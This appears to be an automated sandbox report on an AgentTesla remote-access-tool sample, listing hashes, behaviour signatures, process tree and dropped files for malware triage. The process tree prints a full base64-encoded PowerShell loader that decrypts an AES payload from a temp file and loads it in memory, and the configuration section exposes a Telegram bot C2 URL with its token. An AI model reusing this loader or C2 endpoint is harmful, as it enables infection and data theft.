Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 13:54

General

  • Target

    a9f8962e8fe80bbe7b1462f0c4d776abeb968a6c8f33fca3074a54b45d09ad9a.exe

  • Size

    988KB

  • MD5

    bfeee0c844094e78262beb304526f216

  • SHA1

    844c0a9df056cc6690c90814158859e0fe728394

  • SHA256

    a9f8962e8fe80bbe7b1462f0c4d776abeb968a6c8f33fca3074a54b45d09ad9a

  • SHA512

    ad26d27557d7f8cfd7ddad346dabeb43e66ae9d87197728122bab0a71cda51d82489939d7ceeb9acbc15d41bcf9eb30cb4da7b353316fc9317bd25b8edeb42aa

  • SSDEEP

    24576:Hf0htH9iGnLexsKea/NfBe+STqRd3wtsyUUmoXg:HidcGnax+a/N5dKyoXg

Malware Config

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot7170832252:AAF_Vb1zK1ZjcPMY_oQJwptCJR2tZkpXYmo/

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a9f8962e8fe80bbe7b1462f0c4d776abeb968a6c8f33fca3074a54b45d09ad9a.exe
    "C:\Users\Admin\AppData\Local\Temp\a9f8962e8fe80bbe7b1462f0c4d776abeb968a6c8f33fca3074a54b45d09ad9a.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4308
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADgARgAsACAAMAB4AEEAMwAsACAAMAB4ADUANAAsACAAMAB4ADUAMAAsACAAMAB4ADcAMQAsACAAMAB4ADQAMQAsACAAMAB4AEQAMgAsACAAMAB4AEYANQAsACAAMAB4ADEARAAsACAAMAB4ADMAQgAsACAAMAB4ADcAMgAsACAAMAB4AEEAOAAsACAAMAB4ADMAQwAsACAAMAB4AEUAOQAsACAAMAB4AEMAOQAsACAAMAB4AEYAQQAsACAAMAB4ADkANQAsACAAMAB4ADEAMgAsACAAMAB4AEUARAAsACAAMAB4AEIAQQAsACAAMAB4ADcAMgAsACAAMAB4ADUARAAsACAAMAB4AEYAMQAsACAAMAB4AEUANAAsACAAMAB4ADYAQgAsACAAMAB4AEIAOQAsACAAMAB4ADAARAAsACAAMAB4AEIAMAAsACAAMAB4ADcANwAsACAAMAB4ADIANwAsACAAMAB4ADQAOQAsACAAMAB4AEMAMQApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeABEADQALAAgADAAeABFAEQALAAgADAAeABBAEMALAAgADAAeAAzAEMALAAgADAAeAAzAEMALAAgADAAeAA0ADQALAAgADAAeAAwAEQALAAgADAAeAA4ADcALAAgADAAeAAwADYALAAgADAAeAA3AEMALAAgADAAeAA2ADgALAAgADAAeAAzADcALAAgADAAeAAxAEQALAAgADAAeAAxAEUALAAgADAAeABGAEIALAAgADAAeABDADMAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
      2⤵
      • Suspicious use of SetThreadContext
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2680
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
        3⤵
          PID:1468
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2448
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
          3⤵
            PID:5052

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p1e2tavf.gep.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\file-15689.putik

        Filesize

        33KB

        MD5

        7088c133505af9dd34ece4683fb69cbd

        SHA1

        29ce71145aaec80bfb0d6e10d992235914715110

        SHA256

        6252e15e89dd49a51309a2e6944e36838752fa6aa619e777d5692a243a1bf316

        SHA512

        061bf41c4ea0d786fdc5be73894d9944bfb67e533bb2b924ece799b19c50714a0573c98a99eb1150b7920fcebbc429eb6a4b71105ed9cb5d67044961910c3b9f

      • memory/2448-21-0x0000000074540000-0x0000000074CF0000-memory.dmp

        Filesize

        7.7MB

      • memory/2448-24-0x0000000006640000-0x00000000066D2000-memory.dmp

        Filesize

        584KB

      • memory/2448-27-0x0000000074540000-0x0000000074CF0000-memory.dmp

        Filesize

        7.7MB

      • memory/2448-26-0x000000007454E000-0x000000007454F000-memory.dmp

        Filesize

        4KB

      • memory/2448-25-0x00000000065E0000-0x00000000065EA000-memory.dmp

        Filesize

        40KB

      • memory/2448-23-0x0000000006550000-0x00000000065A0000-memory.dmp

        Filesize

        320KB

      • memory/2448-17-0x0000000000400000-0x0000000000442000-memory.dmp

        Filesize

        264KB

      • memory/2448-18-0x000000007454E000-0x000000007454F000-memory.dmp

        Filesize

        4KB

      • memory/2448-19-0x0000000005B40000-0x00000000060E4000-memory.dmp

        Filesize

        5.6MB

      • memory/2448-20-0x0000000005690000-0x00000000056F6000-memory.dmp

        Filesize

        408KB

      • memory/2680-1-0x00007FF9F81C3000-0x00007FF9F81C5000-memory.dmp

        Filesize

        8KB

      • memory/2680-22-0x00007FF9F81C0000-0x00007FF9F8C81000-memory.dmp

        Filesize

        10.8MB

      • memory/2680-16-0x00000252207E0000-0x0000025220876000-memory.dmp

        Filesize

        600KB

      • memory/2680-12-0x00007FF9F81C0000-0x00007FF9F8C81000-memory.dmp

        Filesize

        10.8MB

      • memory/2680-15-0x0000025220620000-0x000002522062C000-memory.dmp

        Filesize

        48KB

      • memory/2680-2-0x00000252202C0000-0x00000252202E2000-memory.dmp

        Filesize

        136KB

      • memory/2680-13-0x00007FF9F81C0000-0x00007FF9F8C81000-memory.dmp

        Filesize

        10.8MB